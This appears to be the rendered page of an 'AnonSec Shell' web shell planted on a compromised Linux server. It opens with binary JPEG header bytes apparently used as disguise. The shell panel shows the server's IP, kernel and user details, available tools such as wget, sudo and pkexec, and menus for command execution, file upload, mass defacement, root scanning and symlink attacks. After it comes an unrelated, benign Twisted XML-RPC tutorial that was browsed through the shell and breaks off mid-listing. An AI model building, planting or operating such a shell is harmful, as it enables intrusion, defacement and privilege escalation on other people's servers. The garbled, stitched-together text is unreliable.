JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/python-twisted-web/howto/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/share/doc/python-twisted-web/howto/xmlrpc.html
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html  PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN'  'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'><html lang="en" xmlns="http://www.w3.org/1999/xhtml">
  <head>
<title>Twisted Documentation: Creating XML-RPC Servers and Clients with Twisted</title>
<link href="stylesheet.css" rel="stylesheet" type="text/css"/>
  </head>

  <body bgcolor="white">
    <h1 class="title">Creating XML-RPC Servers and Clients with Twisted</h1>
    <div class="toc"><ol><li><a href="#auto0">Introduction</a></li><li><a href="#auto1">Creating a XML-RPC server</a></li><ul><li><a href="#auto2">Using XML-RPC sub-handlers</a></li><li><a href="#auto3">Using your own procedure getter</a></li><li><a href="#auto4">Adding XML-RPC Introspection support</a></li></ul><li><a href="#auto5">SOAP Support</a></li><li><a href="#auto6">Creating an XML-RPC Client</a></li><li><a href="#auto7">Serving SOAP and XML-RPC simultaneously</a></li></ol></div>
    <div class="content">
<span/>

<h2>Introduction<a name="auto0"/></h2>

<p><a href="http://www.xmlrpc.com" shape="rect">XML-RPC</a> is a simple request/reply protocol
that runs over HTTP. It is simple, easy to implement and supported by most programming
languages. Twisted's XML-RPC support is implemented using the
<a href="http://docs.python.org/library/xmlrpclib.html" shape="rect">xmlrpclib</a> library that is
included with Python 2.2 and later.</p>

<h2>Creating a XML-RPC server<a name="auto1"/></h2>

<p>Making a server is very easy - all you need to do is inherit from <code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.xmlrpc.XMLRPC.html" title="twisted.web.xmlrpc.XMLRPC">twisted.web.xmlrpc.XMLRPC</a></code>.
You then create methods beginning with <code>xmlrpc_</code>. The methods'
arguments determine what arguments it will accept from XML-RPC clients.
The result is what will be returned to the clients.</p>

<p>Methods published via XML-RPC can return all the basic XML-RPC
types, such as strings, lists and so on (just return a regular python
integer, etc).  They can also raise exceptions or return Failure instances to indicate an
error has occurred, or <code>Binary</code>, <code>Boolean</code> or <code>DateTime</code>
instances (all of these are the same as the respective classes in xmlrpclib. In
addition, XML-RPC published methods can return <code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.internet.defer.Deferred.html" title="twisted.internet.defer.Deferred">Deferred</a></code> instances whose results are one of the above. This allows
you to return results that can't be calculated immediately, such as database queries.
See the <a href="../../core/howto/defer.html" shape="rect">Deferred documentation</a> for more
details.</p>

<p><code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.xmlrpc.XMLRPC.html" title="twisted.web.xmlrpc.XMLRPC">XMLRPC</a></code> instances
are Resource objects, and they can thus be published using a Site. The
following example has two methods published via XML-RPC, <code>add(a,
b)</code> and <code>echo(x)</code>.</p>

<pre class="python"><p class="py-linenumber"> 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</p><span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">xmlrpc</span>, <span class="py-src-variable">server</span>

<span class="py-src-keyword">class</span> <span class="py-src-identifier">Example</span>(<span class="py-src-parameter">xmlrpc</span>.<span class="py-src-parameter">XMLRPC</span>):
    <span class="py-src-string">&quot;&quot;&quot;
    An example object to be published.
    &quot;&quot;&quot;</span>

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_echo</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">x</span>):
        <span class="py-src-string">&quot;&quot;&quot;
        Return all passed args.
        &quot;&quot;&quot;</span>
        <span class="py-src-keyword">return</span> <span class="py-src-variable">x</span>

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_add</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">a</span>, <span class="py-src-parameter">b</span>):
        <span class="py-src-string">&quot;&quot;&quot;
        Return sum of arguments.
        &quot;&quot;&quot;</span>
        <span class="py-src-keyword">return</span> <span class="py-src-variable">a</span> + <span class="py-src-variable">b</span>

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_fault</span>(<span class="py-src-parameter">self</span>):
        <span class="py-src-string">&quot;&quot;&quot;
        Raise a Fault indicating that the procedure should not be used.
        &quot;&quot;&quot;</span>
        <span class="py-src-keyword">raise</span> <span class="py-src-variable">xmlrpc</span>.<span class="py-src-variable">Fault</span>(<span class="py-src-number">123</span>, <span class="py-src-string">&quot;The fault procedure is faulty.&quot;</span>)

<span class="py-src-keyword">if</span> <span class="py-src-variable">__name__</span> == <span class="py-src-string">'__main__'</span>:
    <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">internet</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">reactor</span>
    <span class="py-src-variable">r</span> = <span class="py-src-variable">Example</span>()
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">listenTCP</span>(<span class="py-src-number">7080</span>, <span class="py-src-variable">server</span>.<span class="py-src-variable">Site</span>(<span class="py-src-variable">r</span>))
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">run</span>()
</pre>

<p>After we run this command, we can connect with a client and send commands
to the server:</p>

<pre class="python-interpreter" xml:space="preserve">
&gt;&gt;&gt; import xmlrpclib
&gt;&gt;&gt; s = xmlrpclib.Server('http://localhost:7080/')
&gt;&gt;&gt; s.echo(&quot;lala&quot;)
'lala'
&gt;&gt;&gt; s.add(1, 2)
3
&gt;&gt;&gt; s.fault()
Traceback (most recent call last):
...
xmlrpclib.Fault: &lt;Fault 123: 'The fault procedure is faulty.'&gt;
&gt;&gt;&gt;

</pre>

<p>If the <code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.server.Request.html" title="twisted.web.server.Request">Request</a></code> object is
needed by an <code>xmlrpc_*</code> method, it can be made available using
the <code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.xmlrpc.withRequest.html" title="twisted.web.xmlrpc.withRequest">twisted.web.xmlrpc.withRequest</a></code> decorator.  When
using this decorator, the method will be passed the request object as the first
argument, before any XML-RPC parameters.  For example:</p>

<pre class="python"><p class="py-linenumber"> 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
</p><span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span>.<span class="py-src-variable">xmlrpc</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">XMLRPC</span>, <span class="py-src-variable">withRequest</span>
<span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span>.<span class="py-src-variable">server</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">Site</span>

<span class="py-src-keyword">class</span> <span class="py-src-identifier">Example</span>(<span class="py-src-parameter">XMLRPC</span>):
    @<span class="py-src-variable">withRequest</span>
    <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_headerValue</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">request</span>, <span class="py-src-parameter">headerName</span>):
        <span class="py-src-keyword">return</span> <span class="py-src-variable">request</span>.<span class="py-src-variable">requestHeaders</span>.<span class="py-src-variable">getRawHeaders</span>(<span class="py-src-variable">headerName</span>)

<span class="py-src-keyword">if</span> <span class="py-src-variable">__name__</span> == <span class="py-src-string">'__main__'</span>:
    <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">internet</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">reactor</span>
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">listenTCP</span>(<span class="py-src-number">7080</span>, <span class="py-src-variable">Site</span>(<span class="py-src-variable">Example</span>()))
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">run</span>()
</pre>

<p>XML-RPC resources can also be part of a normal Twisted web server, using
resource scripts. The following is an example of such a resource script:</p>

<div class="py-listing"><pre><p class="py-linenumber"> 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
</p><span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">xmlrpc</span>
<span class="py-src-keyword">import</span> <span class="py-src-variable">os</span>

<span class="py-src-keyword">def</span> <span class="py-src-identifier">getQuote</span>():
    <span class="py-src-keyword">return</span> <span class="py-src-string">&quot;What are you talking about, William?&quot;</span>

<span class="py-src-keyword">class</span> <span class="py-src-identifier">Quoter</span>(<span class="py-src-parameter">xmlrpc</span>.<span class="py-src-parameter">XMLRPC</span>):

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_quote</span>(<span class="py-src-parameter">self</span>):
        <span class="py-src-keyword">return</span> <span class="py-src-variable">getQuote</span>()

<span class="py-src-variable">resource</span> = <span class="py-src-variable">Quoter</span>()
</pre><div class="caption">Source listing - <a href="listings/xmlquote.rpy"><span class="filename">listings/xmlquote.rpy</span></a></div></div>

<h3>Using XML-RPC sub-handlers<a name="auto2"/></h3>

<p>XML-RPC resource can be nested so that one handler calls another if
a method with a given prefix is called. For example, to add support
for an XML-RPC method <code>date.time()</code> to
the <code class="python">Example</code> class, you could do the
following:</p>

<pre class="python"><p class="py-linenumber"> 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
</p><span class="py-src-keyword">import</span> <span class="py-src-variable">time</span>
<span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">xmlrpc</span>, <span class="py-src-variable">server</span>

<span class="py-src-keyword">class</span> <span class="py-src-identifier">Example</span>(<span class="py-src-parameter">xmlrpc</span>.<span class="py-src-parameter">XMLRPC</span>):
    <span class="py-src-string">&quot;&quot;&quot;
    An example object to be published.
    &quot;&quot;&quot;</span>

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_echo</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">x</span>):
        <span class="py-src-string">&quot;&quot;&quot;
        Return all passed args.
        &quot;&quot;&quot;</span>
        <span class="py-src-keyword">return</span> <span class="py-src-variable">x</span>

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_add</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">a</span>, <span class="py-src-parameter">b</span>):
        <span class="py-src-string">&quot;&quot;&quot;
        Return sum of arguments.
        &quot;&quot;&quot;</span>
        <span class="py-src-keyword">return</span> <span class="py-src-variable">a</span> + <span class="py-src-variable">b</span>

<span class="py-src-keyword">class</span> <span class="py-src-identifier">Date</span>(<span class="py-src-parameter">xmlrpc</span>.<span class="py-src-parameter">XMLRPC</span>):
    <span class="py-src-string">&quot;&quot;&quot;
    Serve the XML-RPC 'time' method.
    &quot;&quot;&quot;</span>

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_time</span>(<span class="py-src-parameter">self</span>):
        <span class="py-src-string">&quot;&quot;&quot;
        Return UNIX time.
        &quot;&quot;&quot;</span>
        <span class="py-src-keyword">return</span> <span class="py-src-variable">time</span>.<span class="py-src-variable">time</span>()

<span class="py-src-keyword">if</span> <span class="py-src-variable">__name__</span> == <span class="py-src-string">'__main__'</span>:
    <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">internet</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">reactor</span>
    <span class="py-src-variable">r</span> = <span class="py-src-variable">Example</span>()
    <span class="py-src-variable">date</span> = <span class="py-src-variable">Date</span>()
    <span class="py-src-variable">r</span>.<span class="py-src-variable">putSubHandler</span>(<span class="py-src-string">'date'</span>, <span class="py-src-variable">date</span>)
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">listenTCP</span>(<span class="py-src-number">7080</span>, <span class="py-src-variable">server</span>.<span class="py-src-variable">Site</span>(<span class="py-src-variable">r</span>))
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">run</span>()
</pre>

<p>By default, a period ('.') separates the prefix from the method
name, but you can use a different character by overriding the <code class="python">XMLRPC.separator</code> data member in your base
XML-RPC server. XML-RPC servers may be nested to arbitrary depths
using this method.</p>

<h3>Using your own procedure getter<a name="auto3"/></h3>

<p>Sometimes, you want to implement your own policy of getting the end implementation.
E.g. just like sub-handlers you want to divide the implementations into separate classes but
may not want to introduce <code class="python">XMLRPC.separator</code> in the procedure name.
In such cases just override the <code class="python">lookupProcedure(self, procedurePath)</code>
method and return the correct callable.
Raise <code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.xmlrpc.NoSuchFunction.html" title="twisted.web.xmlrpc.NoSuchFunction">twisted.web.xmlrpc.NoSuchFunction</a></code> otherwise.</p>

<div class="py-listing"><pre><p class="py-linenumber"> 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
</p><span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">xmlrpc</span>, <span class="py-src-variable">server</span>

<span class="py-src-keyword">class</span> <span class="py-src-identifier">EchoHandler</span>:

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">echo</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">x</span>):
        <span class="py-src-string">&quot;&quot;&quot;
        Return all passed args
        &quot;&quot;&quot;</span>
        <span class="py-src-keyword">return</span> <span class="py-src-variable">x</span>



<span class="py-src-keyword">class</span> <span class="py-src-identifier">AddHandler</span>:

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">add</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">a</span>, <span class="py-src-parameter">b</span>):
        <span class="py-src-string">&quot;&quot;&quot;
        Return sum of arguments.
        &quot;&quot;&quot;</span>
        <span class="py-src-keyword">return</span> <span class="py-src-variable">a</span> + <span class="py-src-variable">b</span>



<span class="py-src-keyword">class</span> <span class="py-src-identifier">Example</span>(<span class="py-src-parameter">xmlrpc</span>.<span class="py-src-parameter">XMLRPC</span>):
    <span class="py-src-string">&quot;&quot;&quot;
    An example of using you own policy to fetch the handler
    &quot;&quot;&quot;</span>

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>):
        <span class="py-src-variable">xmlrpc</span>.<span class="py-src-variable">XMLRPC</span>.<span class="py-src-variable">__init__</span>(<span class="py-src-variable">self</span>)
        <span class="py-src-variable">self</span>.<span class="py-src-variable">_addHandler</span> = <span class="py-src-variable">AddHandler</span>()
        <span class="py-src-variable">self</span>.<span class="py-src-variable">_echoHandler</span> = <span class="py-src-variable">EchoHandler</span>()

        <span class="py-src-comment">#We keep a dict of all relevant</span>
        <span class="py-src-comment">#procedure names and callable.</span>
        <span class="py-src-variable">self</span>.<span class="py-src-variable">_procedureToCallable</span> = {
            <span class="py-src-string">'add'</span>:<span class="py-src-variable">self</span>.<span class="py-src-variable">_addHandler</span>.<span class="py-src-variable">add</span>,
            <span class="py-src-string">'echo'</span>:<span class="py-src-variable">self</span>.<span class="py-src-variable">_echoHandler</span>.<span class="py-src-variable">echo</span>
        }

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">lookupProcedure</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">procedurePath</span>):
        <span class="py-src-keyword">try</span>:
            <span class="py-src-keyword">return</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">_procedureToCallable</span>[<span class="py-src-variable">procedurePath</span>]
        <span class="py-src-keyword">except</span> <span class="py-src-variable">KeyError</span>, <span class="py-src-variable">e</span>:
            <span class="py-src-keyword">raise</span> <span class="py-src-variable">xmlrpc</span>.<span class="py-src-variable">NoSuchFunction</span>(<span class="py-src-variable">self</span>.<span class="py-src-variable">NOT_FOUND</span>,
                        <span class="py-src-string">&quot;procedure %s not found&quot;</span> % <span class="py-src-variable">procedurePath</span>)

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">listProcedures</span>(<span class="py-src-parameter">self</span>):
        <span class="py-src-string">&quot;&quot;&quot;
        Since we override lookupProcedure, its suggested to override
        listProcedures too.
        &quot;&quot;&quot;</span>
        <span class="py-src-keyword">return</span> [<span class="py-src-string">'add'</span>, <span class="py-src-string">'echo'</span>]



<span class="py-src-keyword">if</span> <span class="py-src-variable">__name__</span> == <span class="py-src-string">'__main__'</span>:
    <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">internet</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">reactor</span>
    <span class="py-src-variable">r</span> = <span class="py-src-variable">Example</span>()
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">listenTCP</span>(<span class="py-src-number">7080</span>, <span class="py-src-variable">server</span>.<span class="py-src-variable">Site</span>(<span class="py-src-variable">r</span>))
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">run</span>()
</pre><div class="caption">Source listing - <a href="listings/xmlrpc-customized.py"><span class="filename">listings/xmlrpc-customized.py</span></a></div></div>

<h3>Adding XML-RPC Introspection support<a name="auto4"/></h3>

<p>XML-RPC has an
informal <a href="http://tldp.org/HOWTO/XML-RPC-HOWTO/xmlrpc-howto-interfaces.html" shape="rect">Introspection
API</a> that specifies three methods in a <code>system</code>
sub-handler which allow a client to query a server about the server's
API. Adding Introspection support to
the <code class="python">Example</code> class is easy using
the <code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.xmlrpc.XMLRPCIntrospection.html" title="twisted.web.xmlrpc.XMLRPCIntrospection">XMLRPCIntrospection</a></code> class:</p>

<pre class="python"><p class="py-linenumber"> 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</p><span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">xmlrpc</span>, <span class="py-src-variable">server</span>

<span class="py-src-keyword">class</span> <span class="py-src-identifier">Example</span>(<span class="py-src-parameter">xmlrpc</span>.<span class="py-src-parameter">XMLRPC</span>):
    <span class="py-src-string">&quot;&quot;&quot;An example object to be published.&quot;&quot;&quot;</span>

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_echo</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">x</span>):
        <span class="py-src-string">&quot;&quot;&quot;Return all passed args.&quot;&quot;&quot;</span>
        <span class="py-src-keyword">return</span> <span class="py-src-variable">x</span>

    <span class="py-src-variable">xmlrpc_echo</span>.<span class="py-src-variable">signature</span> = [[<span class="py-src-string">'string'</span>, <span class="py-src-string">'string'</span>],
                             [<span class="py-src-string">'int'</span>, <span class="py-src-string">'int'</span>],
                             [<span class="py-src-string">'double'</span>, <span class="py-src-string">'double'</span>],
                             [<span class="py-src-string">'array'</span>, <span class="py-src-string">'array'</span>],
                             [<span class="py-src-string">'struct'</span>, <span class="py-src-string">'struct'</span>]]

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">xmlrpc_add</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">a</span>, <span class="py-src-parameter">b</span>):
        <span class="py-src-string">&quot;&quot;&quot;Return sum of arguments.&quot;&quot;&quot;</span>
        <span class="py-src-keyword">return</span> <span class="py-src-variable">a</span> + <span class="py-src-variable">b</span>

    <span class="py-src-variable">xmlrpc_add</span>.<span class="py-src-variable">signature</span> = [[<span class="py-src-string">'int'</span>, <span class="py-src-string">'int'</span>, <span class="py-src-string">'int'</span>],
                            [<span class="py-src-string">'double'</span>, <span class="py-src-string">'double'</span>, <span class="py-src-string">'double'</span>]]
    <span class="py-src-variable">xmlrpc_add</span>.<span class="py-src-variable">help</span> = <span class="py-src-string">&quot;Add the arguments and return the sum.&quot;</span>

<span class="py-src-keyword">if</span> <span class="py-src-variable">__name__</span> == <span class="py-src-string">'__main__'</span>:
    <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">internet</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">reactor</span>
    <span class="py-src-variable">r</span> = <span class="py-src-variable">Example</span>()
    <span class="py-src-variable">xmlrpc</span>.<span class="py-src-variable">addIntrospection</span>(<span class="py-src-variable">r</span>)
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">listenTCP</span>(<span class="py-src-number">7080</span>, <span class="py-src-variable">server</span>.<span class="py-src-variable">Site</span>(<span class="py-src-variable">r</span>))
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">run</span>()
</pre>

<p>Note the method attributes <code class="python">help</code>
and <code class="python">signature</code> which are used by the
Introspection API methods <code>system.methodHelp</code>
and <code>system.methodSignature</code> respectively. If
no <code class="python">help</code> attribute is specified, the
method's documentation string is used instead.</p>

<h2>SOAP Support<a name="auto5"/></h2>

<p>From the point of view of a Twisted developer, there is little difference
between XML-RPC support and SOAP support. Here is an example of SOAP usage:</p>

<div class="py-listing"><pre><p class="py-linenumber"> 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
</p><span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">soap</span>
<span class="py-src-keyword">import</span> <span class="py-src-variable">os</span>

<span class="py-src-keyword">def</span> <span class="py-src-identifier">getQuote</span>():
    <span class="py-src-keyword">return</span> <span class="py-src-string">&quot;That beverage, sir, is off the hizzy.&quot;</span>

<span class="py-src-keyword">class</span> <span class="py-src-identifier">Quoter</span>(<span class="py-src-parameter">soap</span>.<span class="py-src-parameter">SOAPPublisher</span>):
    <span class="py-src-string">&quot;&quot;&quot;Publish one method, 'quote'.&quot;&quot;&quot;</span>

    <span class="py-src-keyword">def</span> <span class="py-src-identifier">soap_quote</span>(<span class="py-src-parameter">self</span>):
        <span class="py-src-keyword">return</span> <span class="py-src-variable">getQuote</span>()

<span class="py-src-variable">resource</span> = <span class="py-src-variable">Quoter</span>()
</pre><div class="caption">Source listing - <a href="listings/soap.rpy"><span class="filename">listings/soap.rpy</span></a></div></div>


<h2>Creating an XML-RPC Client<a name="auto6"/></h2>

<p>XML-RPC clients in Twisted are meant to look as something which will be
familiar either to <code>xmlrpclib</code> or to Perspective Broker users,
taking features from both, as appropriate. There are two major deviations
from the <code>xmlrpclib</code> way which should be noted:</p>

<ol>
<li>No implicit <code>/RPC2</code>. If the services uses this path for the
    XML-RPC calls, then it will have to be given explicitly.</li>
<li>No magic <code>__getattr__</code>: calls must be made by an explicit
    <code>callRemote</code>.</li>
</ol>

<p>The interface Twisted presents to XML-RPC client is that of a proxy
object: <code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.xmlrpc.Proxy.html" title="twisted.web.xmlrpc.Proxy">twisted.web.xmlrpc.Proxy</a></code>. The
constructor for the object receives a URL: it must be an HTTP or HTTPS
URL. When an XML-RPC service is described, the URL to that service
will be given there.</p>

<p>Having a proxy object, one can just call the <code>callRemote</code> method,
which accepts a method name and a variable argument list (but no named
arguments, as these are not supported by XML-RPC). It returns a deferred,
which will be called back with the result. If there is any error, at any
level, the errback will be called. The exception will be the relevant Twisted
error in the case of a problem with the underlying connection (for example,
a timeout), <code>IOError</code> containing the status and message in the case
of a non-200 status or a <code>xmlrpclib.Fault</code> in the case of an
XML-RPC level problem.</p>

<pre class="python"><p class="py-linenumber"> 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
</p><span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span>.<span class="py-src-variable">xmlrpc</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">Proxy</span>
<span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">internet</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">reactor</span>

<span class="py-src-keyword">def</span> <span class="py-src-identifier">printValue</span>(<span class="py-src-parameter">value</span>):
    <span class="py-src-keyword">print</span> <span class="py-src-variable">repr</span>(<span class="py-src-variable">value</span>)
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">stop</span>()

<span class="py-src-keyword">def</span> <span class="py-src-identifier">printError</span>(<span class="py-src-parameter">error</span>):
    <span class="py-src-keyword">print</span> <span class="py-src-string">'error'</span>, <span class="py-src-variable">error</span>
    <span class="py-src-variable">reactor</span>.<span class="py-src-variable">stop</span>()

<span class="py-src-variable">proxy</span> = <span class="py-src-variable">Proxy</span>(<span class="py-src-string">'http://advogato.org/XMLRPC'</span>)
<span class="py-src-variable">proxy</span>.<span class="py-src-variable">callRemote</span>(<span class="py-src-string">'test.sumprod'</span>, <span class="py-src-number">3</span>, <span class="py-src-number">5</span>).<span class="py-src-variable">addCallbacks</span>(<span class="py-src-variable">printValue</span>, <span class="py-src-variable">printError</span>)
<span class="py-src-variable">reactor</span>.<span class="py-src-variable">run</span>()
</pre>

<p>prints:</p>

<pre xml:space="preserve">
[8, 15]
</pre>

<h2>Serving SOAP and XML-RPC simultaneously<a name="auto7"/></h2>

<p><code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.xmlrpc.XMLRPC.html" title="twisted.web.xmlrpc.XMLRPC">twisted.web.xmlrpc.XMLRPC</a></code> and <code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.soap.SOAPPublisher.html" title="twisted.web.soap.SOAPPublisher">twisted.web.soap.SOAPPublisher</a></code> are both <code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.resource.Resource.html" title="twisted.web.resource.Resource">Resource</a></code>s.  So, to serve both XML-RPC and
SOAP in the one web server, you can use the <code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.resource.IResource.putChild.html" title="twisted.web.resource.IResource.putChild">putChild</a></code> method of Resource.</p>

<p>The following example uses an empty <code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.resource.Resource.html" title="twisted.web.resource.Resource">resource.Resource</a></code> as the root resource for
a <code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.server.Site.html" title="twisted.web.server.Site">Site</a></code>, and then
adds <code>/RPC2</code> and <code>/SOAP</code> paths to it.</p>

<div class="py-listing"><pre><p class="py-linenumber"> 1
 2
 3
 4
 5
 6
